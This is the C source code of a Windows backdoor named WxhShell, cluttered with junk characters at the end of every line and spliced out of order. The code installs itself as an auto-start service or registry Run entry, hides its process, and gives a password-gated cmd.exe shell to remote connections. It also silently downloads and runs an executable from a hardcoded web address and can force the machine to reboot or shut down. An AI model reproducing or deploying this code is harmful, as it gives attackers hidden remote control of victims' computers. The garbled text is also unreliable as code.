    if(Boot(SHUTDOWN)) $DuX1T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l<e>zj  
    else { HTA@en[5  
    closesocket(wsh); 5|._K(M  
    ExitThread(0); fRS)YE@a:  
    } @doo2qqIe]  
    break; 7A@]t_83Y  
    } .KSPr  
  // 获取shell # xx{}g]%  
  case 's': { Q ;V `  
    CmdShell(wsh); >AX&PMb`  
    closesocket(wsh); -!zyit5B  
    ExitThread(0); {x$jGiag+8  
    break; !Bcd\]q  
  } E2+x?Sc+  
  // 退出 2Z!%Q}Do  
  case 'x': { f mXU)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?0QoYA@.$  
    CloseIt(wsh); )GhMM  
    break; )L fXb9}  
    } 1#9qP~#]'{  
  // 离开 u2%/</]h  
  case 'q': { 4Qh\3UL~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ig(dGKD\=9  
    closesocket(wsh); P4@<`Eb  
    WSACleanup(); 8#b>4 Dx  
    exit(1); t_%6,?S6  
    break; wju2xM  
        } ozv:$>v@"  
  } K.'II9-{  
  } unn2MP'  
Twi:BI`.  
  // 提示信息 `hJSo?G>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7[aSP5e>T  
} ?+EN.P[;3  
  } }H2<w-,+  
BCN<l +u  
  return; z@5t7e)!R  
} &aD ]_+b  
5R 6@A?vr  
// shell模块句柄 H3< `  
int CmdShell(SOCKET sock) E07g^y"}i  
{ p<%76H A  
STARTUPINFO si; A#t#c*  
ZeroMemory(&si,sizeof(si));  O+D"7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _c| aRRW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;;4xpg  
PROCESS_INFORMATION ProcessInfo; 'Y`.0T[&  
char cmdline[]="cmd"; /Hxz@=LC1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p%Zx<=f-_  
  return 0; )<W6cDx'H+  
} .CXe*Vbd  
T^'NC8v  
// 自身启动模式 r[ 2N;U  
int StartFromService(void) @H'pvFLK?  
{ )./pS~  
typedef struct 49Sq)jd<  
{ bqB gq  
  DWORD ExitStatus; ZUE?19GA  
  DWORD PebBaseAddress; =l%"Om*A  
  DWORD AffinityMask; 6@ `'}  
  DWORD BasePriority; [p3)C<;ZC  
  ULONG UniqueProcessId; };m.Y>=)K  
  ULONG InheritedFromUniqueProcessId; |UbwPL_L  
}   PROCESS_BASIC_INFORMATION; @r.u8e)l  
W/Rb7q4v  
PROCNTQSIP NtQueryInformationProcess; _VIVZ2mU=  
5~WMb6/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mk-C&#'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pfCNFF*"  
"],amJ  
  HANDLE             hProcess; 4BSSJ@z  
  PROCESS_BASIC_INFORMATION pbi; n~/#~VTVe  
&^-quzlZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m*VM1kV  
  if(NULL == hInst ) return 0; g2 dvs  
+*OY%;dQ7@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dm4dT59  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c" mRMDg%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q+4xU  
_J}vPm  
  if (!NtQueryInformationProcess) return 0; muSQFIvt  
,nMc. G3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WFBg3#p  
  if(!hProcess) return 0; 8.vPh  
#N-NI+qX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oL'  :07_  
; *G[3kk  
  CloseHandle(hProcess); ~5aq.hF1,A  
:z=/z!5:j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zxw>|eKI>D  
if(hProcess==NULL) return 0; h[d|y_)f  
!Xt=+aKN  
HMODULE hMod; +nKxSjqI  
char procName[255]; ~g2ColFhu  
unsigned long cbNeeded; ku,Y-  
Mnpb".VU#T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [ @> 8Qhw  
'{EBK  
  CloseHandle(hProcess); luZqW`?Bt  
i3 k ',8  
if(strstr(procName,"services")) return 1; // 以服务启动 8xUmg&  
Rs;,_  
  return 0; // 注册表启动 !ViHC}:   
} O'JH= '  
F' ZLN]"{  
// 主模块 uC G^,BQ  
int StartWxhshell(LPSTR lpCmdLine) wxPg*R+t  
{ Dbr(Wg  
  SOCKET wsl; FE1dr_i  
BOOL val=TRUE; fw^mjD  
  int port=0; Uc e#v)  
  struct sockaddr_in door; 'w.:I TJf  
))63?_  
  if(wscfg.ws_autoins) Install(); Cm}ZeQ  
De|@}@  
port=atoi(lpCmdLine); zqYfgV  
 U^ BB|  
if(port<=0) port=wscfg.ws_port; *n?6x!A  
+7+ VbsFG  
  WSADATA data; <2y~7h:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HkxFDU-K  
'rf='Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -GP+e`d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qd3B>f  
  door.sin_family = AF_INET; f7OfN#I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n*D)RiW  
  door.sin_port = htons(port); l;Zc[6  
c#9 zw[y-L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >C_! }~  
closesocket(wsl); f%*-PW^*  
return 1; ]-{T-*h:  
} V0JoUyZ  
CNcH)2Mk  
  if(listen(wsl,2) == INVALID_SOCKET) { %8 cFzyE*  
closesocket(wsl); #=t:xEz  
return 1; z!Jce}mx  
} @c$mc  
  Wxhshell(wsl);  wSV[nK  
  WSACleanup(); >E"FoZM=  
C&Nd|c  
return 0; >!? f6 {\|  
BY,%+>bc)  
} XA9$n_| bw  
nEOhN  
// 以NT服务方式启动 "hog A5=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s'\"%~nF<  
{ 4KybN  
DWORD   status = 0; :Np&G4IM>  
  DWORD   specificError = 0xfffffff; 0e vxRcrzz  
Vzbl* Zmx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .M:,pw"S]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =#%e'\)a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >R!^aJ  
  serviceStatus.dwWin32ExitCode     = 0; E C7f  
  serviceStatus.dwServiceSpecificExitCode = 0; [+GQ3Z\  
  serviceStatus.dwCheckPoint       = 0; FIU( 2  
  serviceStatus.dwWaitHint       = 0; gWgK  
E? F @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `q_7rrkO  
  if (hServiceStatusHandle==0) return; (nda!^f_s  
}aX).u  
status = GetLastError(); ]]%C\Ryy}  
  if (status!=NO_ERROR) >y]YF3?  
{ 9@D,ZSi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zP=J5qOZ8  
    serviceStatus.dwCheckPoint       = 0; zO)9(%LS  
    serviceStatus.dwWaitHint       = 0;  XyhO d$)  
    serviceStatus.dwWin32ExitCode     = status; -QS_bQG%  
    serviceStatus.dwServiceSpecificExitCode = specificError; }3[ [ONA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ol`]6"Sc  
    return; N;[w`d'#  
  } >!WJ{M0  
<j,7Z>Rk\x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :syR4A WM  
  serviceStatus.dwCheckPoint       = 0; &a:>P>\  
  serviceStatus.dwWaitHint       = 0; 7CG_UB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^O892-R  
} SKG_P)TnO  
SxT:k,ji  
// 处理NT服务事件,比如:启动、停止 L7Skn-*tnA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _'j>xK  
{ xOu cZ+  
switch(fdwControl) * 5P/&*c|  
{ e[e2X<&0RT  
case SERVICE_CONTROL_STOP: Uc9Uj  
  serviceStatus.dwWin32ExitCode = 0; I|R9@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]i$CE|~  
  serviceStatus.dwCheckPoint   = 0; 'Y"q=@Ei9  
  serviceStatus.dwWaitHint     = 0; 'mmyzsQ \6  
  { *Li;:b"t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }){hQt7  
  } t<: XY  
  return; @[JQCQ#r  
case SERVICE_CONTROL_PAUSE: ,:z@Ji  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; : wn![<`3q  
  break; mfx 'Yw*{  
case SERVICE_CONTROL_CONTINUE: 6s|C:1](b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7CQ48LH]  
  break; iWtWT1n8n  
case SERVICE_CONTROL_INTERROGATE: 92} , A`=  
  break; oEi +S)_  
}; `,7BU??+u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!fz87-p>  
} U\b,W&%P  
% mI q,  
// 标准应用程序主函数 MOOL=Um3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =n#xnZ3  
{ ke/o11LP  
bo@1c0  
// 获取操作系统版本 I.( 9{  
OsIsNt=GetOsVer(); ex29rL3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b9\=NdyCY  
a{)"KAP  
  // 从命令行安装 Z&}94  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2KPXRK  
I=lA7}  
  // 下载执行文件 mirMDJsl%  
if(wscfg.ws_downexe) { %_/_klxnO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~w!<J-z)  
  WinExec(wscfg.ws_filenam,SW_HIDE); m$$U%=r>@  
} 5SK.R;mn  
4ci @$nL1  
if(!OsIsNt) { ,D#~%kq~  
// 如果时win9x,隐藏进程并且设置为注册表启动 fM8 :Nt$  
HideProc(); rgOB0[  
StartWxhshell(lpCmdLine); xEZvCwsb  
} :K W   
else EW YpYMkm  
  if(StartFromService()) t/y0gr tm6  
  // 以服务方式启动 58=fT1 B  
  StartServiceCtrlDispatcher(DispatchTable); ;H}? 8L  
else Q+#, VuM  
  // 普通方式启动 rVZk G,Q  
  StartWxhshell(lpCmdLine); iXXgPapz  
.Z9Bbab:  
return 0; Aw >DZ2  
} jg2>=}  
kkh#VGh"  
J/)Q{*`_  
SVeL c  
=========================================== Knn$<!>  
CbwQ'c$}  
z i<C 5E`  
rw58bkh6  
B 6|=kl2C  
Xi$uK-AHpj  
" 0~"{z >s '  
%m{h1UQQ +  
#include <stdio.h> .`iOWCS  
#include <string.h> 0urQA_JC  
#include <windows.h> ALPZc:  
#include <winsock2.h> -R| v&h%T  
#include <winsvc.h>  rf oLg  
#include <urlmon.h> "y#$| TMB  
!~PV\DQN  
#pragma comment (lib, "Ws2_32.lib") n{=vP`V_  
#pragma comment (lib, "urlmon.lib") 3-z57f,}6~  
Fb.wm   
#define MAX_USER   100 // 最大客户端连接数 KN_3]-+B  
#define BUF_SOCK   200 // sock buffer _@SC R%  
#define KEY_BUFF   255 // 输入 buffer PWmFY'=  
arRb q!mO  
#define REBOOT     0   // 重启 7'CdDB6&.  
#define SHUTDOWN   1   // 关机 #8rLB(  
-=@d2LY  
#define DEF_PORT   5000 // 监听端口 D8G5,s-.  
`Z0FQ( r_  
#define REG_LEN     16   // 注册表键长度 [Vc8j&:L  
#define SVC_LEN     80   // NT服务名长度 M;-PrJdyt  
G[@RZ~o4  
// 从dll定义API 4Zo.c* BZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <0T|RhbY   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K>N\U@@8i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EWrIDZi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )pbsvR_  
o7;lR?  
// wxhshell配置信息 GO2mccIB  
struct WSCFG { T1_O~<  
  int ws_port;         // 监听端口 kZ>_m &g  
  char ws_passstr[REG_LEN]; // 口令 E{k$4  
  int ws_autoins;       // 安装标记, 1=yes 0=no #p*D.We  
  char ws_regname[REG_LEN]; // 注册表键名 lK 5@qG#  
  char ws_svcname[REG_LEN]; // 服务名 ) [+82~F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FC@h6 \+a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q HaH=g%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^CO{86V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z{`K_s%5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \| &KD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vJ9I z  
dhv?36uE  
}; ,sI<AFI  
Swa0TiT(  
// default Wxhshell configuration %;_94!(hC  
struct WSCFG wscfg={DEF_PORT, `i`+yh>pc#  
    "xuhuanlingzhe", hz:h>Hwy  
    1, /o OZ>B%1s  
    "Wxhshell", M#n lKj<  
    "Wxhshell", }C4wED.  
            "WxhShell Service", R!f<6l8#W  
    "Wrsky Windows CmdShell Service", 4Hy/K^Ci  
    "Please Input Your Password: ", ~-R%m  
  1, ~jC+6v  
  "http://www.wrsky.com/wxhshell.exe", 76H>ST@G|  
  "Wxhshell.exe" ^G|* =~_  
    }; V56WgOBxz  
I+=+ ,iXhB  
// 消息定义模块 &^2SdF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "i#aII+T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wXjidOd $  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vj jVZ  
char *msg_ws_ext="\n\rExit."; is }>+&_  
char *msg_ws_end="\n\rQuit."; ] # VHx  
char *msg_ws_boot="\n\rReboot..."; ?4A/?Z]ub  
char *msg_ws_poff="\n\rShutdown..."; u 3^pQ6Q  
char *msg_ws_down="\n\rSave to "; m g,1*B'  
)fHr]#v  
char *msg_ws_err="\n\rErr!"; _%q~K (::  
char *msg_ws_ok="\n\rOK!"; pO_IUkt  
WQ{[q" O  
char ExeFile[MAX_PATH]; C];P yQS  
int nUser = 0; 8N%nG( 0  
HANDLE handles[MAX_USER]; SE'!j]6jI  
int OsIsNt; h5SJVa  
Cb1w8l0  
SERVICE_STATUS       serviceStatus; 8[;vC$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0z'GN#mT5  
-Arsmo  
// 函数声明 t;BUZE_!0c  
int Install(void); y~fKLIoz"  
int Uninstall(void); L RVcf  
int DownloadFile(char *sURL, SOCKET wsh); R*:>h8  
int Boot(int flag); _bGkJ=  
void HideProc(void); H T|DT  
int GetOsVer(void); /TyGZ@S>m  
int Wxhshell(SOCKET wsl); =A.$~9P  
void TalkWithClient(void *cs); TjyL])$  
int CmdShell(SOCKET sock); !bP%\)5  
int StartFromService(void); z@yTkH_  
int StartWxhshell(LPSTR lpCmdLine); 0^lWy+  
7 !$[XD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +{1.kb Zq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =j62tDS  
;$QC_l''b  
// 数据结构和表定义 vd{QFJ  
SERVICE_TABLE_ENTRY DispatchTable[] = HwFX,?  
{ q0iJy@?A  
{wscfg.ws_svcname, NTServiceMain}, .!x&d4;,q  
{NULL, NULL} D7;9D*o\  
}; Ot2o=^Ng  
#;$]M4  
// 自我安装 MKl0 d  
int Install(void) Qc; kj  
{ /8FmPCp}r  
  char svExeFile[MAX_PATH]; .\n` 4A1z  
  HKEY key; Fl-\{vOn  
  strcpy(svExeFile,ExeFile); {'5"i?>s0>  
2;8m0+tl  
// 如果是win9x系统,修改注册表设为自启动 7l D-|yx  
if(!OsIsNt) { ?13qDD:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -L1785pB85  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wI$ a1H  
  RegCloseKey(key); ']r8q %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 r!zYZ`)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uu9M}]mDl  
  RegCloseKey(key); q,vWu(.  
  return 0; i[o 2(d,  
    } nlwqSXw  
  } vADiW~^Q^  
} Zh=a rlk  
else { Vw;Z0_C  
TSlB.pw%v  
// 如果是NT以上系统,安装为系统服务 ={qcDgn~C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FSIiw#xzH  
if (schSCManager!=0) \^x{NV@v42  
{ !%iHJwS#  
  SC_HANDLE schService = CreateService /Mqhx_)>A  
  ( EB~]6.1  
  schSCManager, M:S-%aQ_<y  
  wscfg.ws_svcname, l8\UO<^fY  
  wscfg.ws_svcdisp, Zxa.x?:?n  
  SERVICE_ALL_ACCESS, 'nmA!s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }LzBo\  
  SERVICE_AUTO_START, {.p.?  
  SERVICE_ERROR_NORMAL, 6 ':iW~iI  
  svExeFile, jD: N)((  
  NULL, +y GQt3U  
  NULL, '! [oLy  
  NULL, b)LT[>f  
  NULL, /*K2i5&X  
  NULL p4`1^}f&Ie  
  ); H_+n_r*  
  if (schService!=0) dY*q[N/pO  
  { RB5SK#z  
  CloseServiceHandle(schService); 2w 2Bc+#o  
  CloseServiceHandle(schSCManager); vg z`+Zj*S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Y'eS'lv4  
  strcat(svExeFile,wscfg.ws_svcname); <W4F`6`x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3/G^V'Yu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h>N}M}8  
  RegCloseKey(key); XzUGlrp:Y#  
  return 0; nhV"V`|d  
    } g@.$P>Bh  
  } ;_<R +w3-  
  CloseServiceHandle(schSCManager); ] lB zpD  
} ARk(\,h  
} *rxr:y#Ve  
^Q6J$"Tj  
return 1; ZN[<=w&(cB  
} ys[Li.s:  
sX>u.  
// 自我卸载 e#"h@kZP  
int Uninstall(void) YOCEEh?  
{ |VfEp  
  HKEY key; d2k-MZuT6  
gQ1 obT"|  
if(!OsIsNt) { +H)'(<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r*X,]\V0x  
  RegDeleteValue(key,wscfg.ws_regname); B9v>="F  
  RegCloseKey(key); aSL`yuXu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Cgi&  
  RegDeleteValue(key,wscfg.ws_regname); Bo 35L:r|  
  RegCloseKey(key); qd`e:s*%  
  return 0; n3^(y"q  
  } Zt=|q$"  
} %@$UIO,(  
} Zk3Pv0c  
else { .~z'm$s1o  
60D36b(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s**<=M GK  
if (schSCManager!=0) >)><u4}  
{ QY\k3hiqn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IwYeKN6s  
  if (schService!=0) a#oROb-*~  
  { YQVo7"`%  
  if(DeleteService(schService)!=0) { 6j#JhcS+  
  CloseServiceHandle(schService); /y$Omc^  
  CloseServiceHandle(schSCManager); B#sCB&(  
  return 0; wxN)d B  
  } TBlSZZ-55]  
  CloseServiceHandle(schService); e UPa5{P  
  } o)`PS w=  
  CloseServiceHandle(schSCManager); kA :Y^2X'  
} `lhw*{3A  
} 2q f|+[X  
7DB_Z /uU  
return 1; %sa?/pjK  
} XLh)$rZ  
)"?4d[ 5  
// 从指定url下载文件 z8kO)'  
int DownloadFile(char *sURL, SOCKET wsh) m/HT3<F  
{ pR0[qsQM  
  HRESULT hr; Pt]>AW;i  
char seps[]= "/"; uvys>]+  
char *token; ycA<l"  
char *file; U(&c@u%  
char myURL[MAX_PATH]; ;vx5 =^7P  
char myFILE[MAX_PATH]; cNll??j  
*TOdIq&z  
strcpy(myURL,sURL); 5Xy(za  
  token=strtok(myURL,seps); _]:b@gXUw  
  while(token!=NULL) 2& Q\W  
  { -V$|t<  
    file=token; ,H7X_KbFD4  
  token=strtok(NULL,seps); C{)1#<`  
  } K#"=*p,  
u@a){ A(P  
GetCurrentDirectory(MAX_PATH,myFILE); lg%fjBY  
strcat(myFILE, "\\"); 1" '3/MFQ8  
strcat(myFILE, file); `sjY#Ua<  
  send(wsh,myFILE,strlen(myFILE),0); ?Y=aO(}=h  
send(wsh,"...",3,0); d0J /"<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0KA*6]h t  
  if(hr==S_OK) @N'n>8Wn  
return 0; (P>nA3:UXB  
else }D1x%L  
return 1; ,0'G HQWz$  
Iu'9yb  
} %-hSa~20  
"M%R{pGA7  
// 系统电源模块 I| TNo-!$  
int Boot(int flag) U1 `5P!ov  
{ EEe$A?a;  
  HANDLE hToken; eqtZU\GI>  
  TOKEN_PRIVILEGES tkp; F`=p/IAJK  
"O$bq::(]e  
  if(OsIsNt) { ?<Qbp;WBo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ammi4k/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M1jT+  
    tkp.PrivilegeCount = 1; xj5TnE9^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R~<N*En~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X G#?fr}L  
if(flag==REBOOT) { XJul~"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cXXZ'y>FP  
  return 0; !Uiq3s`1T  
} B>{%$@4  
else { 74^v('-2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |n_N.Z  
  return 0; hqRC:p#9  
} Y e0,0Fpw  
  } DJGafX^  
  else { !ooi.Oz*Tu  
if(flag==REBOOT) { ~EtGR # N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?K$&|w%{3  
  return 0; z+Xr2B  
} &5 7c !)  
else { 9J:|"@)N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7_~sa{1R.  
  return 0; c[ 2t,+O  
} lxd{T3LU  
} CU=sQfE  
!7t&d  
return 1; %9YY \a {  
} x'EEmjJ  
_2KIe(,;  
// win9x进程隐藏模块 d&3"?2 IQ  
void HideProc(void) >H+t ZV  
{ #7;?Ls  
fz=8"cDR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Byq VNz0L  
  if ( hKernel != NULL ) # WjQ'c:  
  { ~vTwuc\(H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); stG +4w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S(@kdL  
    FreeLibrary(hKernel); 2l?^\9&  
  } ##mZ97>$  
,X!)zAmm  
return; -k + jMH  
} <M9NyD`  
k"#gSCW$  
// 获取操作系统版本 H+*3e&  
int GetOsVer(void) +-tFgXG  
{ 4prJ!k  
  OSVERSIONINFO winfo; rC@VMe|0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aV5M}:D  
  GetVersionEx(&winfo); !aSj1 2J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) et5lfj  
  return 1; _1[Wv?  
  else 89>}`:xS^  
  return 0; )bM,>x  
} ?OW!D?  
3li$)S1z  
// 客户端句柄模块 # fqrZ9:@  
int Wxhshell(SOCKET wsl) z~2{`pET  
{ m 3UK`~ji  
  SOCKET wsh; r10VFaly  
  struct sockaddr_in client; gcnX^[`S  
  DWORD myID; 2|x !~e.  
.Wt3|?\=nd  
  while(nUser<MAX_USER) mrr]{K  
{ xc*a(v0  
  int nSize=sizeof(client); j^=Eu r/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tN<X3$aN  
  if(wsh==INVALID_SOCKET) return 1; M(L6PyEa!Y  
cFc(HADM`r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R*vQvO%)h  
if(handles[nUser]==0) Gtaa^mnxD  
  closesocket(wsh); !Ew ff|v"  
else G_?U?:!AC  
  nUser++; hZfj$|<  
  } |&"aZ!Kn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O*v&C Hd3  
FzEs1hpl  
  return 0; >3p~>;9sc  
} 0Xb\w^  
|kK5:\H  
// 关闭 socket .8W-,R4  
void CloseIt(SOCKET wsh) !`%j#bv  
{ rO>'QZ%  
closesocket(wsh); O)`L( x  
nUser--; !#pc@(rE  
ExitThread(0); ]=t}8H  
} t@R[:n;+  
vYm-$KQ"o  
// 客户端请求句柄 0 aH&M4  
void TalkWithClient(void *cs) F(n<:TvlK  
{ D2}^TIg  
mDz44XO   
  SOCKET wsh=(SOCKET)cs; . .5~ x~O  
  char pwd[SVC_LEN]; WYb}SI(E  
  char cmd[KEY_BUFF]; i=\)[;U  
char chr[1]; x?o#}:S  
int i,j; {Z k^J  
iXy1{=BDv  
  while (nUser < MAX_USER) { )qb'tZz/g_  
"<+~uz  
if(wscfg.ws_passstr) { D&F{0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EtzSaB*|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Vj&i.2,  
  //ZeroMemory(pwd,KEY_BUFF); VIdKe&,  
      i=0; <&Xl b0  
  while(i<SVC_LEN) { :se$<d%  
Mq<ob+  
  // 设置超时 rlR!Tc>  
  fd_set FdRead; hhaiH i!$  
  struct timeval TimeOut; C0[U}Y/r2  
  FD_ZERO(&FdRead); T`wDdqWbEG  
  FD_SET(wsh,&FdRead); j~>{P=_}  
  TimeOut.tv_sec=8; Lo'pNJH;$  
  TimeOut.tv_usec=0; WfaMu| L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0&s a#g2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %\ i&g$  
V3ozaVk;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Z"`g %,;  
  pwd=chr[0]; uCr& `  
  if(chr[0]==0xd || chr[0]==0xa) { `sqr>QD  
  pwd=0; OJpfiZ@Q_  
  break; I+H~ 5zq.  
  } _ cQ '3@  
  i++; pZ'q_Oux  
    } 0]bt}rh  
uQ-GJI^t  
  // 如果是非法用户,关闭 socket J{b#X"i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _l9fNf!@  
} Cg]|x+  
6=]Gom&S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZwBz\jmbP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {WV"]O8IV  
nSyLt6zn\  
while(1) { Mc.{I"c@  
*|Vf1R]  
  ZeroMemory(cmd,KEY_BUFF); uQvTir*e  
DWOf\[  
      // 自动支持客户端 telnet标准   9k ~8n9  
  j=0; : B&~q$  
  while(j<KEY_BUFF) { IOZw[9](+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C33Jzn's  
  cmd[j]=chr[0]; r1< 'l  
  if(chr[0]==0xa || chr[0]==0xd) { l%2VA  
  cmd[j]=0; i'li;xUhZ  
  break; Y:;_R=M  
  } nrKAK^  
  j++; Hi={(Z5tC4  
    } ?YR;o4  
-:%QoRC y  
  // 下载文件 X1(ds*'Kv  
  if(strstr(cmd,"http://")) { UUDUd a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bK%F_v3'  
  if(DownloadFile(cmd,wsh)) VQpt1cK*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yZ6WbI8n  
  else QD,m`7(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G,!jP2S  
  } 8_!qoW@B  
